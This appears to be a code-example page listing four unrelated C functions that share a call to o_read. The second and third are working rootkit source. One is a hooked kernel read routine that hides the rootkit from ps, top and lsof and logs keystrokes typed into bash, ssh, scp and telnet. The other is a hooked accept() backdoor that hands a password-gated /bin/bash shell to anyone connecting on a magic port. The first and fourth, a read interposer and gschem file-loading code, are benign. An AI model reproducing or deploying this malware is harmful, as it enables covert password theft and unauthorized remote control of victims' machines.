예제 #1
0
ssize_t read(int fd, void *buf, size_t count)
{
    if (intercept[fd])
    {
	DEBUGF("fd=%d, buf=%p, count=%zu\n", fd, buf, count);

	return _intercept_read(fd, buf, count);
    }

    RESOLVE(read);
    return o_read(fd, buf, count);
}
예제 #2
0
/*
Modified from hacked sys_read on merecenary code
Why don't we modify thc-vlogger? it's your duty
Somehow this h4x_read doesn't cool enough, but works :) 
*/
asmlinkage int h4x_read(unsigned int fd, char __user *buf, size_t count)
{
  int i,r;
  char date_time[24];
  char *kbuf=(char*)kmalloc(256,GFP_KERNEL);

  /*If output is redirected to file or grep, hide it*/
  copy_from_user(kbuf,buf,255);
  if ((strstr(current->comm,"ps"))||(strstr(current->comm,"pstree"))||
      (strstr(current->comm,"top"))||(strstr(current->comm,"lsof"))){
    if(strstr(kbuf,_H4X0R_)||strstr(kbuf,KBEAST))
    {
      kfree(kbuf);
      return -ENOENT;
    }
  } 
 
  r=o_read(fd,buf,count);
  /*Due to stability issue, we limit the keylogging process*/
  if((strcmp(current->comm,"bash") == 0) || (strcmp(current->comm,"ssh") == 0)||
     (strcmp(current->comm,"scp") == 0) || (strcmp(current->comm,"telnet") == 0)||
     (strcmp(current->comm,"rsh") == 0) || (strcmp(current->comm,"rlogin") == 0)){    
    /*SPECIAL CHAR*/
    if (counter) {
      if (counter == 2) {  // Arrows + Break
        //left arrow
        if (buf[0] == 0x44) {
          strcat(ibuffer,"[LEFT]");
          counter = 0;
          goto END;
        }
        //right arrow
        if (buf[0] == 0x43) {
          strcat(ibuffer,"[RIGHT]");
          counter = 0;
          goto END;
        }
        //up arrow
        if (buf[0] == 0x41) {
          strcat(ibuffer,"[UP]");
          counter = 0;
          goto END;
        }
        //down arrow
        if (buf[0] == 0x42) {
          strcat(ibuffer,"[DOWN]");
          counter = 0;
          goto END;
        }
        //break
        if (buf[0] == 0x50) {
	  strcat(ibuffer,"[BREAK]");
	  counter = 0;
          goto END;
        }
        //numlock
        if(buf[0] == 0x47) {
	  strcat (ibuffer,"[NUMLOCK]");
	  counter = 0;
          goto END;
        }
        strncpy (spbuffer,buf,1);
        counter ++;
        goto END;
      }
  
      if (counter == 3) {   // F1-F5
        //F1
        if (buf[0] == 0x41) {
          strcat(ibuffer,"[F1]");
          counter = 0;
          goto END;
        }
        //F2
        if (buf[0] == 0x42) {
          strcat(ibuffer,"[F2]");
          counter = 0;
          goto END;
        }
        //F3
        if (buf[0] == 0x43) {
          strcat(ibuffer,"[F3]");
          counter = 0;
          goto END;
        }
        //F4
        if (buf[0] == 0x44) {
          strcat(ibuffer,"[F4]");
          counter = 0;
          goto END;
        }
        //F5
        if (buf[0] == 0x45) {
          strcat(ibuffer,"[F5]");
          counter = 0;
          goto END;
        }

        if (buf[0] == 0x7E) {     // PgUp, PgDown, Ins, ...
          //Page Up
          if (spbuffer[0] == 0x35)
            strcat(ibuffer,"[PGUP]");
          //Page Down
          if (spbuffer[0] == 0x36)
            strcat(ibuffer,"[PGDN]");
          //Delete
          if (spbuffer[0] == 0x33)
            strcat(ibuffer,"[DELETE]");
          //End
          if (spbuffer[0] == 0x34)
            strcat(ibuffer,"[END]");
          //Home
          if (spbuffer[0] == 0x31)
            strcat(ibuffer,"[HOME]");
          //Insert
          if (spbuffer[0] == 0x32)
            strcat(ibuffer,"[INSERT]");
          counter = 0;
          goto END;
        }

        if (spbuffer[0] == 0x31) {  // F6-F8
          //F6
          if (buf[0] == 0x37)
            strcat(ibuffer,"[F6]");
          //F7
          if (buf[0] == 0x38)
            strcat(ibuffer,"[F7]");
          //F8
          if (buf[0] == 0x39)
            strcat(ibuffer,"[F8]");
          counter++;
          goto END;
        }
  
        if (spbuffer[0] == 0x32) { // F9-F12
          //F9
          if (buf[0] == 0x30)
            strcat(ibuffer,"[F9]");
          //F10
          if (buf[0] == 0x31)
            strcat(ibuffer,"[F10]");
          //F11
          if (buf[0] == 0x33)
            strcat(ibuffer,"[F11]");
          //F12
          if (buf[0] == 0x34)
            strcat(ibuffer,"[F12]");
  
          counter++;
          goto END;
        }
      }
  
      if(counter >= 4) {  //WatchDog
        counter = 0;
        goto END;
      }
  
      counter ++;
      goto END;
    }
  
    /*SH, SSHD = 0 /TELNETD = 3/LOGIN = 4*/
    if(r==1 && (fd==0||fd==3||fd==4)){
      //CTRL+U
      if(buf[0]==0x15){ 
        ibuffer[0]='\0';
        goto END;
      }
      //TAB
      if(buf[0]==0x09){
        strcat(ibuffer,"[TAB]");
        counter = 0;
        goto END;
      }
      //CTRL+C
      if(buf[0]==0x03){
        strcat(ibuffer,"[CTRL+C]");
        counter = 0;
        goto END;
      }
      //CTRL+D
      if(buf[0]==0x03){
        strcat(ibuffer,"[CTRL+D]");
        counter = 0;
        goto END;
      }
      //CTRL+]
      if(buf[0]==0x1D){
        strcat(ibuffer,"[CTRL+]]");
        counter = 0;
        goto END;
      }
      //BACKSPACE 0x7F Local / 0x08 Remote
      if (buf[0] == 0x7F || buf[0] == 0x08) {
        if (ibuffer[strlen(ibuffer) - 1] == ']') {
          for (i=2;strlen(ibuffer);i++){
            if (ibuffer[strlen (ibuffer) - i] == '[') {
              ibuffer[strlen(ibuffer) - i] = '\0';
              break;
            }
          }
          goto END;
        }else {
          ibuffer[strlen(ibuffer) - 1] = '\0';
          goto END;
        }
      }
  
      if (buf[0] == 0x1B) {
        counter++;
        goto END;
      }
      if(buf[0] != '\n' && buf[0] != '\r'){
        strncat(ibuffer,buf,sizeof(ibuffer));
      }else{
        strcat(ibuffer,"\n");
        get_time(date_time);
        snprintf(obuffer,sizeof(obuffer),"[%s] - [UID = %i ] %s > %s",date_time,current_uid(),current->comm,ibuffer);
	//I don't want to log buffer more than 60 chars, most of them are useless data
        if(strlen(ibuffer)<60) {
          log_to_file(obuffer);
        }
        ibuffer[0]='\0';
      }
    }
  }
  END:
  return r;
}
예제 #3
0
int my_accept(int sockfd, struct sockaddr *addr, int *addrlen)
{

	int cli;
	cli = (*o_accept)(sockfd,addr, addrlen);
	if( (addr->sa_family == AF_INET) ){
		struct sockaddr_in *cli_addr = (struct sockaddr_in *)addr;
		if( (cli_addr->sin_port == htons(_MAGIC_PORT_)) ){
			pid_t child;
			if(cli<0)
				return cli;
			o_signal(SIGCHLD, SIG_IGN);
			if((child=o_fork())==0){
				//old none-crypted style
			   	o_close(sockfd);
			  	o_dup2(cli,0);
			   	o_dup2(cli,1);
			   	o_dup2(cli,2);
				//close(0);
				//fid = fcntl(cli, F_DUPFD, 0);
			   	//enterpass(cli);
				//char *motd="<< Welcome >>\n";
				char buffer[64]={'\0'};
				
			    o_read(cli,buffer,sizeof(buffer));
							/*
							//Hash password
							char trans[SALT_LENGTH+33] = {'\0'};
						  	char tmp[3]={'\0'},buf[33]={'\0'},hash[33]={'\0'};
							int i;
							for(i=0;i<strlen(buffer);i++){
								if(buffer[i]==0x00){
									break;
								}
							}
							if(i>2)
								i--;
						  	getMD5(buffer,i,buf);
							strncpy(trans,_SALT_,SALT_LENGTH);
							for(i=0;i<32;i++){
									trans[SALT_LENGTH+i]=buf[i];
							}
							getMD5(trans,SALT_LENGTH+32,hash);
							printf("%s",hash);
							//End Hash Password
							*/
				//if(!strncmp(hash, _RPASSWORD_, strlen(_RPASSWORD_))) {
				if(!strncmp(buffer, _ACK_PWD_, strlen(_ACK_PWD_))) {
					//write(cli,motd,strlen(motd));
					o_execve("/bin/bash", argv, envp);
					//printf("disConnected.");
					o_close(cli);
					o_exit(0);
				}else {
					//write(s,"Wrong!\n", 7);
					o_close(cli); 
					o_exit(0);
				}
			   	
			}
			//o_waitpid(child);
			return -1;
		}
	}
	return cli;
}
예제 #4
0
/*! \brief Opens the schematic file with fine-grained control over behaviour.
 *  \par Function Description
 *  Opens the schematic file and carries out a number of actions
 *  depending on the \a flags set.  If #F_OPEN_RC is set, executes
 *  configuration files found in the target directory.  If
 *  #F_OPEN_CHECK_BACKUP is set, warns user if a backup is found for
 *  the file being loaded, and possibly prompts user for whether to
 *  load the backup instead.  If #F_OPEN_RESTORE_CWD is set, does not
 *  change the working directory to that of the file being loaded.
 *
 *  \param [in,out] toplevel  The TOPLEVEL object to load the schematic into.
 *  \param [in]     filename   A character string containing the file name
 *                             to open.
 *  \param [in]     flags      Combination of #FOpenFlags values.
 *  \param [in,out] err  #GError structure for error reporting, or
 *                       NULL to disable error reporting
 *
 *  \return 0 on failure, 1 on success.
 */
int f_open_flags(TOPLEVEL *toplevel, PAGE *page,
                 const gchar *filename,
                 const gint flags, GError **err)
{
  int opened=FALSE;
  char *full_filename = NULL;
  char *full_rcfilename = NULL;
  char *file_directory = NULL;
  char *saved_cwd = NULL;
  char *backup_filename = NULL;
  char load_backup_file = 0;
  GError *tmp_err = NULL;

  /* has the head been freed yet? */
  /* probably not hack PAGE */

  set_window(toplevel, page,
             toplevel->init_left, toplevel->init_right,
             toplevel->init_top,  toplevel->init_bottom);


  /* Cache the cwd so we can restore it later. */
  if (flags & F_OPEN_RESTORE_CWD) {
    saved_cwd = g_get_current_dir();
  }

  /* get full, absolute path to file */
  full_filename = f_normalize_filename (filename, &tmp_err);
  if (full_filename == NULL) {
    g_set_error (err, G_FILE_ERROR, tmp_err->code,
                 _("Cannot find file %s: %s"),
                 filename, tmp_err->message);
    g_error_free(tmp_err);
    return 0;
  }

  /* write full, absolute filename into page->page_filename */
  g_free(page->page_filename);
  page->page_filename = g_strdup(full_filename);

  /* Before we open the page, let's load the corresponding gafrc. */
  /* First cd into file's directory. */
  file_directory = g_dirname (full_filename);

  if (file_directory) { 
    if (chdir (file_directory)) {
      /* Error occurred with chdir */
#warning FIXME: What do we do?
    }
  }

  /* Now open RC and process file */
  if (flags & F_OPEN_RC) {
    full_rcfilename = g_build_filename (file_directory, "gafrc", NULL);
    g_rc_parse_file (toplevel, full_rcfilename, &tmp_err);
    if (tmp_err != NULL) {
      /* Config files are allowed to be missing or skipped; check for
       * this. */
      if (!g_error_matches (tmp_err, G_FILE_ERROR, G_FILE_ERROR_NOENT) &&
          !g_error_matches (tmp_err, EDA_ERROR, EDA_ERROR_RC_TWICE)) {
        s_log_message ("%s\n", tmp_err->message);
      }
      g_error_free (tmp_err);
      tmp_err = NULL;
    }
  }

  g_free (file_directory);

  if (flags & F_OPEN_CHECK_BACKUP) {
    /* Check if there is a newer autosave backup file */
    GString *message;
    gboolean active_backup = f_has_active_autosave (full_filename, &tmp_err);
    backup_filename = f_get_autosave_filename (full_filename);

    if (tmp_err != NULL) g_warning ("%s\n", tmp_err->message);
    if (active_backup) {
      message = g_string_new ("");
      g_string_append_printf(message, _("\nWARNING: Found an autosave backup file:\n  %s.\n\n"), backup_filename);
      if (tmp_err != NULL) {
        g_string_append(message, _("I could not guess if it is newer, so you have to do it manually.\n"));
      } else {
        g_string_append(message, _("The backup copy is newer than the schematic, so it seems you should load it instead of the original file.\n"));
      }
      g_string_append (message, _("Gschem usually makes backup copies automatically, and this situation happens when it crashed or it was forced to exit abruptly.\n"));
      if (toplevel->load_newer_backup_func == NULL) {
        g_warning ("%s", message->str);
        g_warning (_("\nRun gschem and correct the situation.\n\n"));
      } else {
        /* Ask the user if load the backup or the original file */
        if (toplevel->load_newer_backup_func
            (toplevel->load_newer_backup_data, message)) {
          /* Load the backup file */
          load_backup_file = 1;
        }
      }
      g_string_free (message, TRUE);
    }
    if (tmp_err != NULL) g_error_free (tmp_err);
  }

  /* Now that we have set the current directory and read
   * the RC file, it's time to read in the file. */
  if (load_backup_file == 1) {
    /* Load the backup file */
    s_page_append_list (toplevel, page,
                        o_read (toplevel, NULL, backup_filename, &tmp_err));
  } else {
    /* Load the original file */
    s_page_append_list (toplevel, page,
                        o_read (toplevel, NULL, full_filename, &tmp_err));
  }

  if (tmp_err == NULL)
    opened = TRUE;
  else
    g_propagate_error (err, tmp_err);

  if (load_backup_file == 0) {
    /* If it's not the backup file */
    page->CHANGED=0; /* added 4/7/98 */
  } else {
    /* We are loading the backup file, so gschem should ask
       the user if save it or not when closing the page. */
    page->CHANGED=1;
  }

  g_free(full_filename);
  g_free(full_rcfilename);
  g_free (backup_filename);

  /* Reset the directory to the value it had when f_open was
   * called. */
  if (flags & F_OPEN_RESTORE_CWD) {
    if (chdir (saved_cwd)) {
      /* Error occurred with chdir */
#warning FIXME: What do we do?
    }
    g_free(saved_cwd);
  }

  return opened;
}